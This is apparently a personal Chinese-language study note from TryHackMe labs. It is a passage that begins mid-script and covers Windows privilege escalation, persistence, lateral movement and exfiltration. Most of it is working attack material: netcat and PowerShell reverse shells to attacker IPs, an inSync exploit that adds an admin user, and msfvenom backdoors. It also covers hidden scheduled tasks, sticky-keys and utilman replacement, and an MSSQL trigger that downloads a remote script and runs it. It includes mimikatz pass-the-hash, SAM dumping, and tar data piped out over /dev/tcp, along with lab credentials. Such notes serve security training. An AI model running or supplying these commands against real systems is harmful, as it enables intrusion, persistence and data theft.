server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))

server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)

# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
    # we either need a password or hashes, if not, ask
    if options.password is None and options.hashes is None:
        from getpass import getpass
        password = getpass("Password:")
        # Let's convert to hashes
        lmhash = compute_lmhash(password)
        nthash = compute_nthash(password)
    elif options.password is not None:
        lmhash = compute_lmhash(options.password)
        nthash = compute_nthash(options.password)
    else:
        lmhash, nthash = options.hashes.split(':')

    server.addCredential(options.username, 0, lmhash, nthash)

# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')

# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')

# Rock and roll
server.start()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#### utilman.exe

`utilman.exe`来提升权限

Utilman 是一款内置 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

先登录administrator权限

获取utilman所有权

- takeown /f C:\Windows\System32\Utilman.exe

成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。要授予用户对 utilman.exe 的完全权限,您可以使用以下命令:

- icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

替换utiilman

- copy cmd.exe utilman.exe

手动锁屏去访问,权限提升成功

#### SeImpersonate/SeAssignPrimaryToken

FTP服务器必须限制用户只能访问他们应该被允许查看的文件。

FTP服务可以暂时获取登录用户的访问令牌,并使用它来代表他们执行任何任务:

作为攻击者,如果我们设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模仿任何连接和验证该进程的用户。

在 Windows 系统中,您会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS 已经具有此类权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。Internet 信息服务 (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。

要使用此类账户提升权限,攻击者需要执行以下操作:1. 生成一个进程,以便用户可以连接并对其进行身份验证,从而进行模拟。2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

要使用

##### RogueWinRM工具

,我们首先需要将漏洞上传到目标机器。

原理

每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用 SYSTEM 权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,该服务只是一个公开 Powershell 控制台的端口,可通过网络远程使用。可以将其视为SSH,但使用的是 Powershell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

使用方法

Linux开启监听

Windows执行工具

- c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.9.0.87 4442"net user

弹回shell

#### 未打补丁的安全包

```shell-session
wmic product get name,version,vendor
#可能会需要一分钟,然后在 exploit-db、 packet storm 或普通的 Google等网站搜现有安装包漏洞
Druva inSync 6.6.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd2 SimplePass123 /add & net localgroup administrators pwnd2 /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

权限维持

思路表

  1. 为低等用户提高权限
    1. 分到管理员组
    2. 添加到备份操作员组
    3. 特殊权限和安全描述
      • 对于备份操作员组,默认分配有两个权限,将新用户写入权限文件并投入使用
    4. RID劫持
  2. 文件target修改
    1. 改为ps1文件藏码,用powershell使用,换图标
    2. 将已有windows文件msf生成一个带码的
    3. 劫持关联文件
      • 写入注册表,里面指向ps1
  3. 后门服务
    1. 新建服务
    2. 修改已有停用服务
  4. 计划任务
    1. 多少分钟执行一次
      1. 删除SD去隐藏
  5. 开机自启
    1. 写入自启动文件夹
    2. 写入run
    3. Winlogon指向后边添加东西
      • hell和都Userinit`可以在现实世界场景中实现持久性
    4. 写脚本
      • userinit指向这个东西environment
  6. 登录屏幕/rdp后门
    1. web界面码
    2. 数据库码
    3. 粘滞键
    4. Utilman
      • 登陆界面的辅助小圈

分配群组成员资格

直接分到管理员权限组

1
C:\> net localgroup administrators thmuser0 /add

添加到备份操作员组

(有读取/写入 系统文件和注册表,忽略任何配置的DACL,可以去复制sam和system

1
C:\> net localgroup "Backup Operators" thmuser1 /add

但是没有远程桌面RDP或远程管理用户WinRM组,无法远程连接

1
C:\> net localgroup "Remote Management Users" thmuser1 /add

WinRM连接如下↓

1
evil-winrm -i 10.10.44.235 -u thmuser1 -p Password321

whoami /groups出现以下提示

1
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only

由于用户帐户控制 ( UAC ) 造成的。UAC实现 的功能之一LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以通过 UAC 从图形用户会话提升您的权限(在此处阅读有关 UAC的更多信息),但如果您使用的是 WinRM,您将被限制在有限的访问令牌中,没有管理权限。

修改注册表禁用LocalAccountTokenFilterPolicy

1
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

WinRM远连接,然后下载sam和system,特别慢,用kali特别慢,换成他提供的攻击机,然后共享文件夹传输失败

1
2
3
4
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
1
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

用脚本解密,kali环境不能跑

1
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

传递hash函数攻击受害机

1
evil-winrm -i 10.10.44.235 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
用hash桌面连接
1
xfreerdp /v:10.10.44.235 /u:Administrator /pth:f3118544a831e728781d780cfdb9c1fa
被阻止,不让登录

报错如下,密码为空,写个密码

1
2
3
Account restrictions are preventing this user from signing in. For example: blank
passwords aren't allowed, sign-in times are limited, or a policy restriction has been
enforced.
  • 查看锁定状态
1
Get-LocalUser -Name "username" | Select-Object Name,Enabled

被锁的话打开

1
Enable-LocalUser -Name "username"
  • 如果账户密码为空,设置密码
1
Set-LocalUser -Name "Administrator" -Password (ConvertTo-SecureString "NewPassword123" -AsPlainText -Force)

特殊权限和安全描述

对于备份操作员组,其默认分配有以下两个权限

SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何现有的DACL 。
SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何现有的DACL 。

将当前配置文件导出

1
secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到有关 SeBackupPrivilege 和 SeRestorePrivilege 的配置行中:

image-20250109112427184

将.inf文件著那位.sdb文件,用该文件配置加载回系统

1
2
3
secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

打开WinRM配置窗口,为其分配 WinRM 的全部权限

1
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

下边这个图片是初始的,要先为其add个用户,然后+全部控制权限

image-20250109113946882

请注意,要使该用户充分使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,前面说了,看前面

显示报错就退出重新进去以下

RID劫持

创建用户时,会为其分配一个称为**相对 ID (RID)**的标识符。RID 只是一个代表整个系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以让 Windows 通过将相同的 RID 关联到两个帐户来为非特权用户分配管理员访问令牌。

在任何 Windows 系统中,默认管理员帐户都被分配了RID = 500,而普通用户的RID 通常为 >= 1000

查看用户RID

  • wmic useraccount get name,sid

RID 是 SID 的最后一位(1010 表示 thmuser3,500 表示管理员)。SID 是一个标识符,它允许操作系统跨域识别用户

编写注册表,需要system权限,administrator都不行

1
C:\tools\pstools> PsExec64.exe -i -s regedit

从 Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\计算机中每个用户对应的键。由于我们要修改 thmuser3,因此我们需要搜索一个键,其 RID 为十六进制 (1010 = 0x3F2)。在相应的键下,将有一个名为F的值,它在位置 0x30 处保存用户的有效 RID:

F2 03 (1010)改为 F4 01 (500)

image-20250109123031363

登不进去就加入远程管理组

再进不去直接去拿flag,能拿到

后门文件

可执行文件puttyX.exe

1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

快捷方式

命名为ps1文件,powershell脚本

1
2
3
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.9.0.87 4445"

C:\Windows\System32\calc.exe

将clac的target修改为

1
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

kali监听就行

劫持关联文件

位于注册表

1
HKLM\Software\Classes\ 

直接检查子.txt键并找到与其关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将获得以下 ProgID:

image-20250109133712780

然后会出现,下边第一个选错了,整第二个去

image-20250109134030114

或者

image-20250109134046585

利用方法

写个2.ps1

1
2
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

注册表里面改成

1
powershell.exe -WindowStyle hidden C:\flags\2.ps1 %1

当你尝试打开 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。

创建一个具有以上内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1

后门服务

创建新服务

重置管理员密码自启动服务

1
2
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

注意:每个等号后面必须有一个空格才能使命令起作用。

msf生成个码,

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

将服务改为

1
2
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

下载

1
wget http://10.9.0.87:8080/rs.exe -O rs.exe

,开始服务

1
sc.exe create THMservice2 binPath= "C:\flags\rs.exe" start= auto

修改现有服务

但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务,而不是创建一个服务以避免被发现。通常,任何禁用的服务都是不错的选择,因为它可以在用户不知情的情况下被更改。

获取可用服务列表

1
sc.exe query state=all

名为 THMService3 的已停止服务。要查询该服务的配置,

1
sc.exe qc THMService3

生成码,然后修改配置

1
sc.exe config THMservice3 binPath= "C:\flags\rs.exe" start= auto obj= "LocalSystem"

计划任务

任务计划程序

每分钟运行一次反向 shell 的任务。

1
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.9.0.87 4446" /ru SYSTEM

/sc/mo选项表示该任务应每分钟运行一次。/ru选项表示该任务将以 SYSTEM 权限运行。

检查任务是否创建完成

1
schtasks /query /tn thm-taskbackdoor

kali监听

让任务不可见

安全描述符 (SD)

1
所有计划任务的安全描述符都存储在 中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\。您将为每个任务找到一个注册表项,该项下名为“SD”的值包含安全描述符。只有拥有 SYSTEM 权限才能删除该值。

让psexec以system权限开计划任务

1
c:\tools\pstools\PsExec64.exe -s -i regedit
1
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackdoor  安全标识符删掉

image-20250109143254803

再次查找服务就会找不到,但是反弹的shell仍然能接收到

1
schtasks /query /tn thm-taskbackdoor

登录触发持久型

启动文件夹

生成码

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe
1
wget http://10.9.0.87:8080/exe4450.exe -O exe4450.exe
1
copy exe4450.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

登出去,重新远程连接,弹回shell

写入注册表run

类型REG_EXPAND_sz

1
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

您还可以通过注册表强制用户在登录时执行程序。您可以使用以下注册表项来指定登录时要运行的应用程序,而不是将有效负载传递到特定目录中:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

下的注册表项HKCU仅适用于当前用户,下的注册表项HKLM适用于所有人。Run键下指定的任何程序将在用户每次登录时运行。RunOnce键下指定的程序只会执行一次。

Winlogon操作系统

1
Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

Userinit指向userinit.exe,它负责恢复您的用户配置文件偏好设置。
shell指向系统的shell,通常是explorer.exe。

shell和都Userinit可以在现实世界场景中实现持久性,

这里使用Userinit

1
,后面加上C:\Windows\exe4450.exe

登录脚本

注意:仅适用于当前用户

1
Environment

要为用户创建环境变量,您可以转到HKCU\Environment注册表中。我们将使用该UserInitMprLogonScript条目指向我们的有效负载,以便在用户登录时加载它:

1
放入码的地址就ok了
1
reg add hkcu\Environment /t REG_EXPAND_SZ /v UserInitMprLogonScript /d C:\Windows\exe4450.exe

登录屏幕/rdp后门

粘滞键

SHIFT5 次

1
2
3
4
5
takeown /f c:\Windows\System32\sethc.exe

icacls C:\Windows\System32\sethc.exe /grant Administrator:F

copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Utilman
1
2
3
4
5
takeown /f c:\Windows\System32\utilman.exe

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

web后门

aspx码连接

1
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx
1
2
move shell.aspx C:\inetpub\wwwroot\
icacls shell.aspx /grant Everyone:F

mysql留码

1
启用xp_cmdshell存储过程。xp_cmdshell是任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统的控制台中运行命令,但默认情况下处于禁用状态。

开放xp_cmdshell

1
2
3
4
5
6
7
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

我们必须确保任何访问数据库的网站都可以运行xp_cmdshell。默认情况下,只有具有sysadmin角色的数据库用户才能执行此操作。由于预计 Web 应用程序将使用受限数据库用户,因此可以向所有用户授予权限以模拟该sa用户,即默认数据库管理员

1
2
3
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

切换到数据库HRDB

1
USE HRDB

我们的触发器将利用xp_cmdshell执行 Powershell 从攻击者控制的 Web 服务器下载并运行.ps1文件。触发器将配置为 在数据库表INSERT中创建以下内容时执行:Employees``HRDB

1
2
3
4
5
6
CREATE TRIGGER [sql_backdoor4]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.9.0.87:8000/evilscript.ps1'')"';

现在后门已经设置好了,让我们evilscript.ps1在攻击者的机器中创建一个包含 Powershell 反向 shell 的机器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

执行插入语句的时候将会进行

横向移动

思路表

  1. 远程生成进程(已知管理员账号密码),submit传码(利用管理员凭证),再用runas生成新凭证去操作
    1. psexec
      • 需要管理员
    2. winrm
      • 需要远程管理组
    3. sc.exe
      • 需要管理员
      • 利用服务关联传上去的文件
  2. wmic,powershell登录wmic,传码,监听
    1. 创建远程服务
    2. 创建远程进程
    3. 创建计划任务
    4. 安装msi包
      • 调用Win32_Product 类的 Install 方法来触发有效负载
  3. 有效身份替换
    1. 拿mimikatz打pth
  4. 滥用用户
    1. 共享文件可改,留后门
    2. RDP会话劫持(拿psexec
  5. 端口转发
    1. 远程攻击

1远程生成进程

psexec

  • 所需组成员身份:管理员
1
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
原理
  1. 连接到 Admin$ 共享并上传服务二进制文件。Psexec 使用 psexesvc.exe 作为名称。
  2. 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将服务二进制文件与关联C:\Windows\psexesvc.exe
  3. 创建一些命名管道来处理 stdin/stdout/stderr。

WinRM

  • 所需组成员身份:远程管理用户
做法
1
2
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
#登录
1
2
3
4
5
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
#创建一个 PSCredential 对象
1
2
Enter-PSSession -Computername TARGET -Credential $credential
#Enter-PSSession cmdlet 创建一个交互式会话
1
2
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
#还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:

sc.exe

  • 所需组成员身份:管理员
  • 不允许我们在命令中指定凭据

使用以下命令创建并启动名为“THMservice”的服务

1
2
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

要停止并删除该服务,我们可以执行以下命令:

1
2
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

远程创建计划任务

1
2
3
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1"

我们将计划类型 (/sc) 设置为 ONCE,这意味着该任务只在指定的时间和日期运行一次。由于我们将手动运行该任务,因此开始日期 (/sd) 和开始时间 (/st) 并不重要。

由于系统将运行计划的任务,因此我们无法获得该命令的输出,这是一种盲目攻击。

最后,要删除计划任务,我们可以使用以下命令并自行清理:

1
schtasks /S TARGET /TN "THMtask1" /DELETE /F

开始

1
echo "10.200.100.101 " | sudo tee - a /etc/hosts
配置
  1. 先下载network的openvpn用上
  2. 把dc的域控换dns上
    1. nm-connection-editor
    2. /etc/resolv.conf加个dc的nameserver
  3. 检测
    1. ifconfig lateralmovement
连接
1
2
3
ssh ZA\\tony.holland@thmjmp2.za.tryhackme.com

Username: tony.holland Password: Mhvn2334

是假设你有凭证的话能上传

1
smbclient -c 'put 1qa.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever

再用刚才web页面生成凭证和给的凭证生成一个

1
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.98.75 4443"

利用生成的凭证去sc远程创建新服务关联刚才传上去的文件

1
sc.exe \\thmiis.za.tryhackme.com create THMservice-9963 binPath= "%windir%\1qa.exe" start= auto
1
sc.exe \\thmiis.za.tryhackme.com start THMservice-9963

2wmic

生成msi码

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > 1qa.msi

开启监听

1

上传

1
smbclient -c 'put 1qa.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994

将有效载荷复制到了 ADMIN$ 共享,因此它将在服务器上的 C:\Windows\ 中可用。

让我们从 Powershell 控制台针对 THMIIS启动WMI会话:

1
2
3
4
5
6
7
8
9
10
11
PS C:\> $username = 't1_corine.waters';

PS C:\> $password = 'Korine.1994';

PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;

PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

PS C:\> $Opt = New-CimSessionOption -Protocol DCOM

PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

调用Win32_Product类的install方法来触发有效负载

1
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\1qa.msi"; Options = ""; AllUsers = $false}

3替代身份验证

原理

1
2
3
使用您的SSH会话,使用 mimikatz 提取身份验证材料并针对域用户执行传递哈希、传递票证或传递密钥t1_toby.beck。

一旦你有了加载了其凭据的命令提示符,就可以使用winrs它连接到 THMIIS 上的命令提示符。由于 t1_toby.beck 的凭据已因任何攻击而注入到你的会话中,因此你可以在不指定任何凭据的情况下使用 winrs,它将使用当前会话中可用的凭据:

mimikatz

1
2
3
4
5
6
7
8
9
privilege::debug
#提权
sekurlsa::tickets /export
#导出kerberos票证
token::elevate
#获取本地用户的hex
lsadump::sam
#lsass内存中获取hex,本地登录和最近登录到该机器的任何域用户

token::revert重新建立过我们原始的令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。

执行 PtH 攻击

1
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.98.75 5556"

然后去tools里面

1
winrs.exe -r:THMIIS.za.tryhackme.com cmd

kerberos票据获取

1
2
3
4
5
6
7
8
9
#先提权
privilege::debug
#导出票
sekurlsa::tickets /export
#票据注入到当前会话
kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
#检查票据是否注入
klist

kerberos从内存获取

1
2
3
privilege::debug
sekurlsa::ekeys
#获取加密密钥

根据密码执行命令

rc4

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

aes128

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

AES256

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

pth攻击

rdp连接

1
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

psexec

1
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

WinRM

1
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

4滥用用户

RDP劫持

用管理员权限开

1
PsExec64.exe -s cmd.exe

查看会话

1
query user

接管会话

1
2
tscon 3 /dest:rdp-tcp#6
这个是id和sessionname

共享文件可写

.vbs
1
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

这会将 nc64.exe 从共享复制到用户的工作站%tmp%目录,并在用户打开共享的 VBS 脚本时将反向 shell 发送回攻击者。

.exe文件后门你
1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

5端口转发

远程端口转发

1
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

tunneluser不允许在攻击者电脑上运行 shell,我们需要ssh使用-N开关以阻止客户端请求,否则连接将立即退出。-Rswitch 用于请求远程端口转发

一旦我们的隧道设置并运行,我们就可以进入攻击者的机器并通过RDP进入转发端口来到达服务器:

1
munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

本地端口转发

从攻击者的机器转发端口 80 并使其在 PC-1 上可用,我们可以在 PC-1 上运行以下命令

1
C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

使用-L本地端口转发选项。此选项要求我们指示 PC-1 用于接收连接的本地套接字 ( *:80) 以及从攻击者的 PC 角度要连接的远程套接字 ( 127.0.0.1:80)。

我们在第二个套接字中使用 IP 地址 127.0.0.1,因为从攻击者的 PC 角度来看,这是持有要转发的端口 80 的主机。

由于我们在 PC-1 上打开了一个新端口,因此我们可能需要添加防火墙规则以允许传入连接(使用dir=in)。此操作需要管理权限:

1
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

socat 进行端口转发

在主机上打开端口 1234 并将我们在那里收到的任何连接转发到主机 1.1.1.1 上的端口 4321,

1
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

fork选项允许 socat 为每个收到的连接派生一个新进程,从而可以处理多个连接而无需关闭。如果不包含它,socat 将在第一个连接完成时关闭。

如果我们想使用 PC-1 作为枢纽访问服务器上的端口 3389,就像我们使用SSH远程端口转发一样,我们可以使用以下命令:

1
C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

实践

一有账号密码远程连接
1
C:\tools\socat\>socat TCP4-LISTEN:4496,fork TCP4:THMIIS.za.tryhackme.com:3389
1
xfreerdp /v:THMJMP2.za.tryhackme.com:4496 /u:t1_thomas.moore /p:MyPazzw3rd2020
二Rejetto HFS

ssh隧道

1
C:\> ssh tunneluser@10.50.98.75 -R 8888:thmdc.za.tryhackme.com:80 -L *:6609:127.0.0.1:6609 -L *:7809:127.0.0.1:7809 -N
1
2
3
4
5
6
7
8
9
10
use rejetto_hfs_exec
set payload windows/shell_reverse_tcp
set lhost thmjmp2.za.tryhackme.com
set ReverseListenerBindAddress 127.0.0.1
set lport 7809
set srvhost 127.0.0.1
set srvport 6609
set rhosts 127.0.0.1
set rport 8888
exploit
报错ssh22端口连不上
1
2
3
sudo systemctl status ssh
sudo systemctl start ssh
查看服务,开启服务

数据泄露

思路表

  1. tcp套接字

    • nc监听
    • 直接把数据丢到监听端口
    • 加密发送,看的时候解密
  2. ssh连接

    • 传数据的换成ssh
    • 相当于远程连接,然后把文件丢进去
  3. http连接

    1. 一种是在服务器上开个web服务接收文件
    2. 搭建http隧道(用的regeorg)
      • 把码传到目标服务器,然后连接
  4. icmp连接

    1. ping的时候带上数据,
    2. 工具用
      1. icmpdoor
      2. msf
  5. dns连接,得有域名

    1. dns隧道
    2. dns脚本
      • 放在txt里让受害者执行
    3. dns传数据
      1. 放在子域名上边,单个包255个字符
  6. 上工具scp

    1. scp -i /root/.ssh/id_rsa -P 32425 /home/kali/Desktop/JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp
      #传文件
      
      scp -r /root/.ssh/id_rsa -P 32425 mysid@mysid@node1.hgame.vidar.club:/app/app.jar ./app.jar
      #从服务器考文件
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42




      ### 主要用例场景

      1. 传统数据泄露
      - 服务器自己往外传的
      - 发送和接收流量会朝一个方向进行?
      2. c2通信
      3. 隧道
      - 建立连接时将有连续的流量发送和接收。

      ### tcp套接字进行渗透

      ,前一个开监听,一个一个往外传

      - 监听
      - nc -lvp 8080 > /tmp/task4-creds.data
      - 传
      - tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
      - 我们使用 tar命令并使用秘密目录内容的zcf 参数创建一个存档文件 。
      - z 表示 使用gzip压缩选定的文件夹, c 表示创建新的存档, f表示使用存档文件。
      - 然后,我们将创建的 tar 文件传递给 base64 命令,将其转换为 base64 表示形式。
      - 然后,我们传递 base64 命令的结果,使用 EBCDIC 编码数据通过 dd 命令创建并复制备份文件。
      - 最后,我们重定向 dd命令的输出,使用指定 IP 和端口(在本例中为端口8080) 上的 TCP 套接字进行传输 。
      - 收到编码转换+解压
      - dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
      - tar xvf task4-creds.tar
      - 直接看
      - cat task4/creds.txt

      ### ssh进行渗透

      跟上面差不多,再多个ssh连接顺便把文件带上

      - tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

      ### HTTP(S)进行渗透

      apache2日志文件

/var/log/apache2/access.log

1
2
3
4
5
6
7
8
9
10
11
12
13

#### HTTP隧道1

- web监听码

- ```php
<?php
if (isset($_POST['file'])) {
$file = fopen("/tmp/http.bs64","w");
fwrite($file, $_POST['file']);
fclose($file);
}
?>
  • 传文件

